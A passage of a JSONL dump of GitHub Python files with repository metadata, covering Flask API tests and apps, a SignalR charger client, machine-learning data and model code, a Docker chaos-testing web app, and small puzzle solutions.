AbsoluteUrlFor is AbsoluteURLFor\n\nclass AuthorSchema(mar.Schema):\n class Meta:\n fields = ('id', 'name', 'absolute_url', 'links')\n\n absolute_url = mar.AbsoluteURLFor('author', id='')\n\n links = mar.Hyperlinks({\n 'self': mar.URLFor('author', id=''),\n 'collection': mar.URLFor('authors')\n })\n\nclass BookSchema(mar.Schema):\n class Meta:\n fields = ('id', 'title', 'author', 'links')\n\n author = mar.Nested(AuthorSchema)\n\n links = mar.Hyperlinks({\n 'self': mar.URLFor('book', id=''),\n 'collection': mar.URLFor('books'),\n })\n\ndef test_schema(app, mockauthor):\n s = AuthorSchema()\n result = s.dump(mockauthor)\n assert result.data['id'] == mockauthor.id\n assert result.data['name'] == mockauthor.name\n assert result.data['absolute_url'] == url_for('author',\n id=mockauthor.id, _external=True)\n links = result.data['links']\n assert links['self'] == url_for('author', id=mockauthor.id)\n assert links['collection'] == url_for('authors')\n\ndef test_jsonify(app, mockauthor):\n s = AuthorSchema()\n resp = s.jsonify(mockauthor)\n assert isinstance(resp, BaseResponse)\n assert resp.content_type == 'application/json'\n\ndef test_links_within_nested_object(app, mockbook):\n s = BookSchema()\n result = s.dump(mockbook)\n assert result.data['title'] == mockbook.title\n author = result.data['author']\n assert author['links']['self'] == url_for('author', id=mockbook.author.id)\n assert author['links']['collection'] == url_for('authors')\n\n@pytest.mark.skipif(not MARSHMALLOW_2, reason='marshmallow-sqlalchemy '\n 'not supported in marshmallow<2.0')\nclass TestSQLAlchemy:\n\n @pytest.yield_fixture()\n def extapp(self):\n app_ = Flask('extapp')\n app_.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///:memory:'\n SQLAlchemy(app_)\n Marshmallow(app_)\n\n @app_.route('/author/')\n def author(id):\n return '...view for author {0}...'.format(id)\n\n @app_.route('/book/')\n def book(id):\n return '...view for book {0}...'.format(id)\n\n ctx = app_.test_request_context()\n ctx.push()\n\n yield app_\n\n ctx.pop()\n\n @pytest.fixture()\n def db(self, extapp):\n return extapp.extensions['sqlalchemy'].db\n\n @pytest.fixture()\n def extma(self, extapp):\n return extapp.extensions['flask-marshmallow']\n\n @pytest.yield_fixture()\n def models(self, db):\n class AuthorModel(db.Model):\n __tablename__ = 'author'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255))\n\n @property\n def url(self):\n return url_for('author', id=self.id)\n\n @property\n def absolute_url(self):\n return url_for('author', id=self.id, _external=True)\n\n class BookModel(db.Model):\n __tablename__ = 'book'\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(255))\n author_id = db.Column(db.Integer, db.ForeignKey('author.id'))\n author = db.relationship('AuthorModel', backref='books')\n\n @property\n def url(self):\n return url_for('book', id=self.id)\n\n @property\n def absolute_url(self):\n return url_for('book', id=self.id, _external=True)\n\n db.create_all()\n\n class _models:\n def __init__(self):\n self.Author = AuthorModel\n self.Book = BookModel\n yield _models()\n db.drop_all()\n\n def test_can_declare_model_schemas(self, extma, models, db):\n class AuthorSchema(extma.ModelSchema):\n class Meta:\n model = models.Author\n\n class BookSchema(extma.ModelSchema):\n class Meta:\n model = models.Book\n\n author_schema = AuthorSchema()\n book_schema = BookSchema()\n\n author = models.Author(name='Chuck Paluhniuk')\n db.session.add(author)\n db.session.commit()\n\n author = models.Author(name='Chuck Paluhniuk')\n book = models.Book(title='Fight Club', author=author)\n db.session.add(author)\n db.session.add(book)\n db.session.commit()\n\n author_result = author_schema.dump(author)\n assert 'id' in author_result.data\n assert 'name' in author_result.data\n assert author_result.data['name'] == 'Chuck Paluhniuk'\n assert author_result.data['books'][0] == book.id\n\n book_result = book_schema.dump(book)\n assert 'id' in book_result.data\n assert book_result.data['author'] == author.id\n\n resp = author_schema.jsonify(author)\n assert isinstance(resp, BaseResponse)\n\n def test_can_declare_hyperlinked_model_schemas(self, extma, models, db, extapp):\n class AuthorSchema(extma.HyperlinkModelSchema):\n class Meta:\n model = models.Author\n\n class BookSchema(extma.HyperlinkModelSchema):\n class Meta:\n model = models.Book\n\n author_schema = AuthorSchema()\n book_schema = BookSchema()\n\n author = models.Author(name='Chuck Paluhniuk')\n book = models.Book(title='Fight Club', author=author)\n db.session.add(author)\n db.session.add(book)\n db.session.commit()\n\n book_result = book_schema.dump(book)\n assert book_result.data['author'] == author.url\n\n author_result = author_schema.dump(author)\n assert author_result.data['books'][0] == book.url\n\n extapp.config['MARSHMALLOW_LINK_ATTRIBUTE'] = 'absolute_url'\n\n book_result = book_schema.dump(book)\n assert book_result.data['author'] == author.absolute_url\n\n author_result = author_schema.dump(author)\n assert author_result.data['books'][0] == book.absolute_url\n\n author = author_schema.load(author_result.data).data\n assert type(author) == models.Author\n assert type(author.books[0]) == models.Book\n assert author.books[0].title == book.title\n assert author.books[0].id == book.id\n","repo_name":"ElvisTheKing/flask-marshmallow","sub_path":"test_flask_marshmallow.py","file_name":"test_flask_marshmallow.py","file_ext":"py","file_size_in_byte":11213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"27382203438","text":"\"\"\"Automatic peak finding for 2D SEC-SAS data.\n\n\"\"\"\n\nfrom scipy.signal import find_peaks, peak_widths\n\n\nclass FindPeaks:\n \"\"\"Finds the peaks in a time series from a 2D SEC-SAS dataset.\n\n Parameters\n ----------\n data : :py:class:`sample.Sample`\n An instance of :py:class:`sample.Sample` containing\n a 2D dataset where the first axis is assumed to be the elution time\n and the second axis is assumed to be the momentum transfer q values.\n height_factor : float\n A float between 0 and 1. This will be used to define the minimum height\n of the peak by taking *height = height_factor * data.max()*.\n\n \"\"\"\n\n def __init__(self, data, height_factor=0.5):\n self.data = data\n self.height_factor = height_factor\n\n self.peaks = None\n self.widths = None\n self.heights = None\n self.l_borders = None\n self.r_borders = None\n\n def run(self, find_peaks_kws=None, peak_widths_kws=None):\n \"\"\"Run the algorithm to find the peaks and associated widths.\n\n Parameters\n ----------\n find_peaks_kws : dict\n Additional keywords to be passed to scipy *find_peaks* keywords.\n peak_widths_kws : dict\n Additional keywords to be passed to scipy *peak_widths* keywords.\n\n \"\"\"\n if find_peaks_kws is None:\n find_peaks_kws = {}\n\n if peak_widths_kws is None:\n peak_widths_kws = {}\n\n fp_kws = {\"height\": float(self.data.sum(1).max())}\n fp_kws.update(find_peaks_kws)\n self._get_peaks(**fp_kws)\n self._get_widths(**peak_widths_kws)\n\n def get_sub_arrays(self):\n \"\"\"Return the array corresponding to the region within peak borders.\"\"\"\n out = []\n x = self.data.time\n for idx, peak in enumerate(self.peaks):\n left = x[int(self.l_borders[idx])]\n right = x[int(self.r_borders[idx])]\n out.append(self.data.get_time_range(left, right))\n\n return out\n\n def _get_peaks(self, **kwargs):\n \"\"\"Find the peaks in the time series.\"\"\"\n self.peaks = find_peaks(\n self.data.sum(1), height=float(self.data.sum(1).max())\n )[0]\n\n def _get_widths(self, **kwargs):\n \"\"\"Find the widths and associated limits for each peak.\"\"\"\n res = peak_widths(self.data.sum(1), self.peaks)\n self.widths, self.heights, self.l_borders, self.r_borders = res\n","repo_name":"kpounot/SAXS_routines","sub_path":"saxs_routines/data_analysis/find_peaks.py","file_name":"find_peaks.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71852373388","text":"import numpy as np\nimport tensorflow as tf\n\nfrom tfrecord import dataset_utils\n\nflags = tf.app.flags\n\nflags.DEFINE_string('dataset_dir', None, 'Dataset directory')\n\nflags.DEFINE_float('test_ratio', 0.2, 'Validation dataset ratio')\n\nflags.DEFINE_integer('num_shards', 1, 'Number of shards to split the TFRecord files')\nflags.DEFINE_integer('max_classes', 0, 'Maximum number of classes [default 0 = all]')\nflags.DEFINE_integer('min_samples_per_class', 0, 'Minimum number of samples per class [default 0 = all]')\n\nflags.DEFINE_integer('random_seed', 1234, 'Random seed to use for repeatability.')\nflags.DEFINE_multi_integer('image_size', [32, 32], 'Image size. [None, [width, height]])')\n\nflags.DEFINE_string('tfrecord_file', None, 'Output TFRecord filename')\nflags.DEFINE_boolean('force', False, 'Force recreate')\n\nFLAGS = flags.FLAGS\n\n\ndef main():\n if not FLAGS.dataset_dir:\n raise ValueError('Daraset is empty.')\n\n if not FLAGS.tfrecord_file:\n raise ValueError('tfrecord filename is empty.')\n\n if not FLAGS.force and dataset_utils.dataset_exists(dataset_dir=FLAGS.dataset_dir, filename=FLAGS.tfrecord_file,\n num_shards=FLAGS.num_shards):\n print('Dataset already created. Exiting ...')\n return\n\n files, id2labels, labels2id = dataset_utils.get_filenames_and_classes(FLAGS.dataset_dir, FLAGS.max_classes, FLAGS.min_samples_per_class)\n\n if len(files) == 0:\n raise ValueError(\"Given dataset criteria (max_classes={}, min_samples_per_class={}) does not meet.\".format(FLAGS.max_classes, FLAGS.min_samples_per_class))\n\n num_test = int(FLAGS.test_ratio * len(files))\n\n np.random.seed(FLAGS.random_seed)\n np.random.shuffle(files)\n train_files = files[num_test:]\n val_files = files[:num_test]\n\n # First, convert the training and validation sets.\n dataset_utils.convert_dataset('train', train_files,\n dataset_dir=FLAGS.dataset_dir, tfrecord_filename=FLAGS.tfrecord_file,\n num_shards=FLAGS.num_shards, size=FLAGS.image_size)\n dataset_utils.convert_dataset('test', val_files,\n dataset_dir=FLAGS.dataset_dir, tfrecord_filename=FLAGS.tfrecord_file,\n num_shards=FLAGS.num_shards, size=FLAGS.image_size)\n\n dataset_utils.write_label_file(id2labels, FLAGS.dataset_dir)\n\n print('\\nDone!')\n\n\ndef demo():\n FLAGS.dataset_dir = '/data/Datasets/face/att_faces/'\n FLAGS.tfrecord_file = 'att_faces'\n FLAGS.image_size = [32, 32]\n main()\n\n\nif __name__ == '__main__':\n main()\n\n# Run: python tfrecord/tfrecord_writer.py --dataset_dir data/att_faces --tfrecord_file att_faces --force True --image_size 64 --image_size 64 --test_ratio 0.1 --max_classes 0 --min_samples_per_class 0\n\n#python tfrecord_writer.py --dataset_dir /data/datasets/CASIA-WebFace/Normalized_Faces/webface/100/ --tfrecord_file /data/datasets/CASIA-WebFace/casia --force True --image_size 32 --image_size 32 --test_ratio 0.2 --max_classes 1000 --min_samples_per_class 1000\n","repo_name":"ashokpant/capsbrain","sub_path":"tfrecord/tfrecord_writer.py","file_name":"tfrecord_writer.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"18497989027","text":"N, K = map(int, input().split())\n\nresult = 0\n\nwhile True:\n if N < K:\n result += (N - 1)\n break\n if N % K == 0:\n result += 1\n N /= K\n continue\n N -= 1\n result += 1\n\nprint(int(result))","repo_name":"haan823/problem-solving","sub_path":"python/1이 될 때까지.py","file_name":"1이 될 때까지.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33550951866","text":"import sys\nimport gensim\nfrom gensim.models import Word2Vec\n\nprint(\"training model loading...\")\ntry:\n model = Word2Vec.load(\"mymodel\")\nexcept FileNotFoundError:\n print(\"training data is not found.\")\n print(\"training start:\")\n sentences = gensim.models.word2vec.Text8Corpus(\"text8\")\n model = gensim.models.word2vec.Word2Vec(sentences, size=200)\n model.save(\"mymodel\")\n\nprint(\"model loading complete.\")\n\n\ndef find_similar_word(word, similarity):\n # print(similarity)\n temp = model.most_similar(word, topn=50)\n similar_words = {word}\n for i in temp:\n if i[1] >= similarity:\n similar_words.add(i[0])\n # print(similar_words)\n while True:\n temp = similar_words.copy()\n for w in similar_words:\n for i in model.most_similar(w, topn=50):\n if model.similarity(i[0], word) >= similarity:\n temp.add(i[0])\n if temp == similar_words:\n break\n similar_words = temp.copy()\n return similar_words\n\n\nif __name__ == '__main__':\n word = input(\"Which word do you want to find its similar words?\").strip()\n similarity = input(\"What is your desired similarity?\").strip()\n if float(similarity) < 0 or float(similarity) > 1:\n print(\"similarity should be digit in [0,1], give up.\")\n sys.exit()\n s1 = model.most_similar(word)\n print(\"The top ten most similar word is:\\n\", s1)\n s2 = find_similar_word(word, float(similarity))\n print(\"The similar word in given similarity is:\\n\", s2)\n","repo_name":"IceCoffee2013/comp-9900-proj-backend","sub_path":"training_model.py","file_name":"training_model.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24588805388","text":"#!/usr/bin/python3\n\nimport argparse\nimport logging\nimport sys\nimport os\n\nlibDir = os.path.realpath(os.path.dirname(os.path.abspath(__file__)) + '/../lib')\nsys.path.append(libDir)\nfrom signalrcore.hub_connection_builder import HubConnectionBuilder\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--token\",\"-t\", help=\"Your login token\")\nparser.add_argument(\"--serial\",\"-s\", help=\"Serial for product\")\nargs = parser.parse_args()\n\nif args.token is None:\n exit(\"Missing token, make sure u pass it in with --token or -t\")\n\nif args.serial is None:\n exit(\"Missing serial, make sure u pass it in with --serial or -s\")\n\ndef get_access_token() -> str:\n return args.token\n\ndef product_update(stuff: list):\n print(f\"received product update: {stuff}\")\n\ndef charger_update(stuff: list):\n print(f\"received charger update: {stuff}\")\n\nurl = \"https://api.easee.cloud/hubs/chargers\"\noptions = {\"access_token_factory\": get_access_token}\nconnection = HubConnectionBuilder().with_url(url,options)\\\n .configure_logging(logging.DEBUG)\\\n .with_automatic_reconnect({\n \"type\": \"raw\",\n \"keep_alive_interval\": 10,\n \"reconnect_interval\": 5,\n \"max_attempts\": 5\n }).build()\n\ndef on_open():\n print(\"connection opened and handshake received ready to send messages\")\n connection.send(\"SubscribeWithCurrentState\", [args.serial, True])\n\ndef on_close():\n print(\"connection closed\")\n\nconnection.on_open(lambda: on_open())\nconnection.on_close(lambda: on_close())\n\nconnection.on(\"ProductUpdate\", product_update)\nconnection.on(\"ChargerUpdate\", charger_update)\n\nconnection.start()\n\nmessage = None\nwhile message != \"exit()\":\n message = input(\">> \")\n if message is not None and message != \"\" and message != \"exit()\":\n # connection.send(\"SendMessage\", [username, message])\n continue\n\nconnection.stop()\n\nsys.exit(0)\n\n","repo_name":"ktn001/EVcharger","sub_path":"ressources/bin/signalr.py","file_name":"signalr.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17592007787","text":"import os\nfrom flask import Flask, request, abort, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\nimport random\nfrom werkzeug.exceptions import HTTPException\nfrom sqlalchemy.sql.expression import null, true\n\nfrom models import setup_db, Question, Category\n\nQUESTIONS_PER_PAGE = 10\n\ndef paginate_selection(request, selection):\n current = request.args.get('page', 1, type=int)\n initial_index = (current - 1) * QUESTIONS_PER_PAGE\n final_index = initial_index + QUESTIONS_PER_PAGE\n\n result = [item.format() for item in selection]\n formatted_result = result[initial_index:final_index]\n\n return formatted_result\n\ndef format_categories(categories):\n result = [item.format() for item in categories]\n formatted_categories = {}\n for single_category in result:\n formatted_categories[single_category['id']] = single_category['type']\n\n return formatted_categories\n\ndef create_app(test_config=None):\n # create and configure the app\n app = Flask(__name__)\n setup_db(app)\n CORS(app, resources={r\"/\" : {\"origins\": '*'}})\n\n @app.after_request\n def after_request(response):\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type')\n response.headers.add('Access-Control-Allow-Headers', 'GET, POST, PATCH, DELETE, OPTION')\n return response\n\n @app.route('/categories')\n def get_all_categories():\n all_categories = Category.query.all()\n formatted_categories = format_categories(all_categories)\n if len(formatted_categories) == 0:\n abort(404)\n return jsonify({\n \"categories\": formatted_categories\n })\n \n @app.route('/categories//questions')\n def get_questions_by_category_id(id):\n ques = Question.query.filter(Question.category==id).order_by(Question.id).all()\n formatted_ques = paginate_selection(request, ques)\n \n if len(formatted_ques) == 0:\n abort(404)\n\n return jsonify({\n \"questions\": formatted_ques,\n \"total_questions\": len(ques),\n \"current_category\": Category.query.get(id).format()[\"type\"]\n })\n\n @app.route('/questions')\n def get_paginated_questions():\n all_questions = Question.query.order_by(Question.id).all()\n formatted_questions = paginate_selection(request, all_questions)\n if len(formatted_questions) == 0:\n abort(404)\n\n categories = [c.format() for c in Category.query.all()]\n formatted_categories = {}\n for single_category in categories:\n formatted_categories[single_category['id']] = single_category['type']\n\n return jsonify({\n 'questions': formatted_questions,\n 'total_questions': len(all_questions),\n 'categories': formatted_categories,\n 'current_category': \"\"\n })\n\n @app.route('/questions/', methods=['DELETE'])\n def delete_ques_by_id(id):\n ques = Question.query.filter(Question.id==id).one_or_none()\n if ques is None:\n abort(404)\n ques.delete()\n return jsonify({\n \"success\": True\n })\n\n @app.route(\"/questions\", methods=['POST'])\n def post_question():\n try:\n jsonObj = request.get_json()\n print(jsonObj)\n question = jsonObj[\"question\"]\n answer = jsonObj[\"answer\"]\n difficulty = jsonObj[\"difficulty\"]\n category = jsonObj[\"category\"]\n\n new_ques = Question(question=question, answer=answer, difficulty=difficulty, category=category)\n new_ques.insert()\n return jsonify({\n \"success\": True\n })\n\n except:\n abort(400)\n\n @app.route(\"/questions/search\", methods=['POST'])\n def search_questions():\n try:\n search_query = request.get_json()['searchTerm']\n questions_by_search = Question.query.filter(Question.question.ilike(f'%{search_query}%')).all()\n formatted_result = paginate_selection(request, questions_by_search)\n if len(formatted_result) == 0:\n abort(404)\n return jsonify({\n \"questions\": formatted_result,\n \"total_questions\": len(questions_by_search),\n \"current_category\": \"\",\n })\n\n # handles 404 and 422 separately\n except Exception as e:\n if isinstance(e, HTTPException):\n abort(e.code)\n else:\n abort(400)\n\n \n @app.route('/quizzes', methods=['POST'])\n def get_quiz_question():\n try:\n body = request.get_json()\n previous_questions_id_list = body[\"previous_questions\"]\n quiz_category = body[\"quiz_category\"]\n ques = {}\n\n if quiz_category['type'] == 'all':\n ques[\"all_ques\"] = Question.query.all()\n else:\n category_id = quiz_category[\"id\"]\n ques[\"all_ques\"] = Question.query.filter(Question.category==category_id).all()\n \n all_ques = ques[\"all_ques\"]\n\n if len(all_ques) == 0:\n abort(404)\n\n formatted_ques = [q.format() for q in all_ques]\n random.shuffle(formatted_ques)\n\n unique_question = False\n for q in formatted_ques:\n if q['id'] not in previous_questions_id_list:\n unique_question = q\n \n return jsonify({\n \"question\": unique_question\n })\n\n except Exception as e:\n if isinstance(e, HTTPException):\n abort(e.code)\n else:\n abort(400)\n\n @app.errorhandler(404)\n def handler_not_found(error):\n return jsonify({\n \"success\": False, \n \"error\": 404,\n \"message\": \"resource not found\"\n }), 404\n\n @app.errorhandler(422)\n def handler_unprocessable(error):\n return jsonify({\n \"success\": False, \n \"error\": 422,\n \"message\": \"unprocessable\"\n }), 422\n\n @app.errorhandler(400)\n def handler_bad_request(error):\n return jsonify({\n \"success\": False, \n \"error\": 400,\n \"message\": \"bad request\"\n }), 400\n \n @app.errorhandler(405)\n def handler_bad_request(error):\n return jsonify({\n \"success\": False, \n \"error\": 405,\n \"message\": \"method not allowed\"\n }), 405\n \n return app\n\n ","repo_name":"abhishekjain35/trivia-game","sub_path":"backend/flaskr/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25347113520","text":"import torch.nn as nn\nimport torch.utils.model_zoo as model_zoo\nfrom torch.nn.parameter import Parameter\nimport torch\nimport math\nimport pdb\nimport sys\nsys.path.append(\"../..\")\n\n__all__ = [\n 'VGG', 'vgg19_bn',\n]\n\n\nmodel_urls = {\n 'vgg11': 'https://download.pytorch.org/models/vgg11-bbd30ac9.pth',\n 'vgg13': 'https://download.pytorch.org/models/vgg13-c768596a.pth',\n 'vgg16': 'https://download.pytorch.org/models/vgg16-397923af.pth',\n 'vgg19': 'https://download.pytorch.org/models/vgg19-dcbb9e9d.pth',\n}\n\nclass VGG(nn.Module):\n\n def __init__(self, features_masks, classifier, **kwargs):\n super(VGG, self).__init__()\n self.features = features_masks\n self.classifier = classifier\n self._initialize_weights()\n\n def forward(self, x):\n x = self.features(x)\n x = x.view(x.size(0), -1)\n x = self.classifier(x)\n return x\n\n def _initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(0.5)\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n n = m.weight.size(1)\n m.weight.data.normal_(0, 0.01)\n m.bias.data.zero_()\n\ndef make_classifier(config, final_conv):\n layers = []\n last_input = final_conv * 7 * 7\n dp=0.5\n for v in config:\n layers += [nn.Linear(last_input, v), nn.Dropout(p=dp), nn.ReLU(True)] #DO added to match number of layers in pretrained\n last_input = v\n\n layers += [nn.Linear(last_input, num_classes)]\n return nn.Sequential(*layers)\n\n\ndef make_layers(cfg, batch_norm=False, weight='uniform', **kwargs):\n layers = []\n in_channels = 3\n xshape = kwargs['input_size']\n num_classes = kwargs['num_classes']\n cfg = cfg\n final_conv = -1\n\n for v in cfg:\n if v == 'M':\n layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\n xshape /= 2\n else:\n final_conv = v\n conv2d = nn.Conv2d(in_channels, v, kernel_size=3, padding=1)\n if batch_norm:\n layers += [conv2d, nn.BatchNorm2d(v), nn.ReLU(inplace=True)]\n else:\n layers += [conv2d, nn.ReLU(inplace=True)]\n\n in_channels = v\n\n if num_classes == 1000:\n c_cfg = kwargs['c_cfg'] #cfg[-2:]\n layers += [nn.AdaptiveAvgPool2d(7)]\n classifier = make_classifier(c_cfg, final_conv)\n else:\n classifier = nn.Linear(final_conv, num_classes)\n\n features = nn.Sequential(*layers)\n return features, classifier\n\ncfg = {\n 'A': [64, 'M', 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],\n 'B': [64, 64, 'M', 128, 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],\n 'D': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'M', 512, 512, 512, 'M', 512, 512, 512, 'M'],\n #'E': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M', 512, 512, 512, 512, 'M', 512, 512, 512, 512, 'M'],\n 'E': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M', 512, 512, 512, 512, 'M'],\n 'default': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M', 512, 512, 512, 512, 'M', 512, 512, 512, 512, 'M'],\n}\n\ndef vgg19_bn(arch_dict = None,**kwargs):\n \"\"\"VGG 19-layer model (configuration 'E') with batch normalization\"\"\"\n\n defaults = {'num_classes':1000, 'input_size':244, 'c_cfg': None}\n for k, v in defaults.items():\n if k not in kwargs:\n kwargs[k] = v\n\n if arch_dict is None:\n arch_dict = cfg['E']\n if kwargs['num_classes'] == 1000:\n kwargs['c_cfg'] = [4096,4096]\n print(arch_dict, kwargs['c_cfg'])\n\n features, classifier = make_layers(arch_dict, batch_norm=True, **kwargs)\n model = VGG(features, classifier)\n return model\n\n","repo_name":"hitachi-rd-cv/Difficulty_Net","sub_path":"CIFAR-LT/models/vgg.py","file_name":"vgg.py","file_ext":"py","file_size_in_byte":4013,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"82"} +{"seq_id":"19158230607","text":"from .docking_task import DockingTask\nfrom flask import Blueprint, request\napi_v2 = Blueprint(\"api_v2\", __name__)\n# ...\n@api_v2.route(\n \"/docking///post\",\n methods=[\"POST\"]\n)\ndef route_post_docking_file(database_name: str, prediction_name: str):\n data = request.get_json(force=True) or {}\n dt = DockingTask(database_name=database_name)\n return dt.post_task(prediction_name.upper(), data)\n\n@api_v2.route(\n \"/docking///public/\",\n methods=[\"POST\"]\n)\ndef route_get_docking_file_with_param(database_name: str, prediction_name: str, file_name: str):\n data = request.get_json(force=True)\n param = data.get(\"hash\", None)\n if data is None or param is None:\n return \"\", 404\n dt = DockingTask(database_name=database_name)\n return dt.get_file_with_post_param(prediction_name.upper(), file_name, param)\n\n@api_v2.route(\n \"/docking///tasks\",\n methods=[\"GET\"]\n)\ndef route_get_all_docking_tasks(database_name: str, prediction_name: str):\n dt = DockingTask(database_name=database_name)\n return dt.get_all_tasks(prediction_name.upper())","repo_name":"luk27official/bachelor-thesis","sub_path":"code/api-v2.py","file_name":"api-v2.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72413708747","text":"data = open(\"data/day04.txt\").read().splitlines()\n\ncount = 0\noverlap_count = 0\nfor line in data:\n pair = line.split(\",\")\n first = [int(x) for x in pair[0].split(\"-\")]\n second = [int(x) for x in pair[1].split(\"-\")]\n\n if first[0] <= int(second[0]) and first[1] >= int(second[1]) or int(second[0]) <= first[0] and (int(second[1]) >= first[1]):\n count += 1\n\n fs = set(range(first[0], first[1]+1))\n ss = set(range(second[0], second[1]+1))\n if len(ss & fs) > 0:\n overlap_count += 1\n\nprint(count)\nprint(overlap_count)\n","repo_name":"jackbodine/Advent-2022-python","sub_path":"day04.py","file_name":"day04.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37260531806","text":"from flask import Flask, request\nfrom flask import render_template\nfrom flask import jsonify\nfrom flask.helpers import send_from_directory\n# from flask_triangle.triangle import Triangle\n\nimport os\nfrom apocalypse.utils.docker_client import DockerClientException\nfrom apocalypse.utils.logger import init_logger\n\nfrom apocalypse.app.chaosapp import ChaosApp\nfrom apocalypse.exceptions import NetError\n\ninit_logger()\nweb_app = Flask(__name__, static_url_path=\"\")\n\nHOST = os.environ.get(\"HOST\", \"0.0.0.0\")\nPORT = int(os.environ.get(\"PORT\", 5555))\nNETWORK = os.environ.get(\"NETWORK\", \"minicloud_default\")\n\nchaos_app = ChaosApp(NETWORK)\nchaos_app.init_network_emulator()\n\n\nclass AppError(Exception):\n status_code = 400\n\n def __init__(self, message, status_code=None, payload=None):\n super(AppError, self).__init__(self)\n self.message = message\n if status_code is not None:\n self.status_code = status_code\n self.payload = payload\n\n def to_dict(self):\n rv = dict(self.payload or ())\n rv['error'] = self.message\n return rv\n\n\ndef handle_invalid_usage(error):\n response = jsonify(error.to_dict())\n response.status_code = error.status_code\n return response\n\n\ndef handle_other_error(error, status_code):\n error = {\"error\": error.message}\n response = jsonify(error)\n response.status_code = status_code\n return response\n\n\ndef handle_docker_error(error):\n return handle_other_error(error, 500)\n\n\n@web_app.errorhandler(Exception)\ndef handle_error(error):\n if isinstance(error, (DockerClientException, NetError)):\n return handle_docker_error(error)\n elif isinstance(error, AppError):\n # return handle_other_error(error)\n return handle_invalid_usage(error)\n else:\n return handle_other_error(error, 500)\n\n\n@web_app.route(\"/service_state/\", methods=[\"GET\"], )\ndef service_state(service):\n try:\n args = request.args\n category = args.get(\"category\")\n if category == \"network\":\n behavior = chaos_app.emulator.network_state(service)\n else:\n behavior = chaos_app.get_service_state(service)\n return jsonify(behavior)\n except (DockerClientException, NetError) as e:\n raise AppError(\"Error retrieving service state for %s, check if the \"\n \"service is running\" % service, status_code=500)\n\n\n@web_app.route(\"/\")\ndef main():\n\n context = {\n \"services\": chaos_app.get_services()\n }\n\n return render_template(\"index.html\", **context)\n\n\n@web_app.route(\"/restore/\", methods=[\"POST\"])\ndef restore(service):\n result = {\n \"message\": \"Success\"\n }\n resp = chaos_app.emulator.restore(service)\n if any(resp):\n raise AppError(\"Error restoring service\", status_code=500)\n return jsonify(result)\n\n\n@web_app.route(\"/emulate\", methods=[\"POST\"])\ndef emulate():\n req = dict(request.json)\n service = req.get(\"service\")\n event = req.get(\"event\")\n # event_category = req.get(\"category\")\n _emulate = event.pop(\"name\")\n resp = getattr(chaos_app, _emulate)([service], **event)\n if not resp:\n raise AppError(resp, status_code=500)\n req[\"event\"][\"name\"] = _emulate\n return jsonify(req)\n\n\n@web_app.route(\"/refresh\", methods=[\"POST\"])\ndef refresh():\n result = {\n \"message\": \"Success\"\n }\n chaos_app.init()\n chaos_app.init_network_emulator()\n context = {\n \"services\": chaos_app.get_services()\n }\n render_template(\"index.html\", **context)\n return jsonify(result)\n\n\n@web_app.route('/css/')\ndef send_css(path):\n return send_from_directory('templates/css', path)\n\n\n@web_app.route('/js/')\ndef send_js(path):\n return send_from_directory('templates/js', path)\n\n\n@web_app.route('/images/')\ndef send_images(path):\n return send_from_directory('templates/images', path)\n\n\nif __name__ == \"__main__\":\n web_app.run(host=HOST, port=PORT, debug=True)\n","repo_name":"dhoomakethu/apocalypse","sub_path":"apocalypse/server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3973,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"7464356676","text":"class Solution(object):\n def plusOne(self, digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n \n carryover = 0\n iter_num = len(digits) -1\n digits[-1] = digits[-1] + 1\n \n \n while iter_num >= 0:\n value =(digits[iter_num] + carryover)%10\n carryover = (digits[iter_num] + carryover)//10\n digits[iter_num] = value\n iter_num -=1\n \n return [1] + digits if carryover else digits \n\n \n \n","repo_name":"BrotherofOracleMan/Python_Leetcode","sub_path":"Round_One/66_plus_one.py","file_name":"66_plus_one.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} 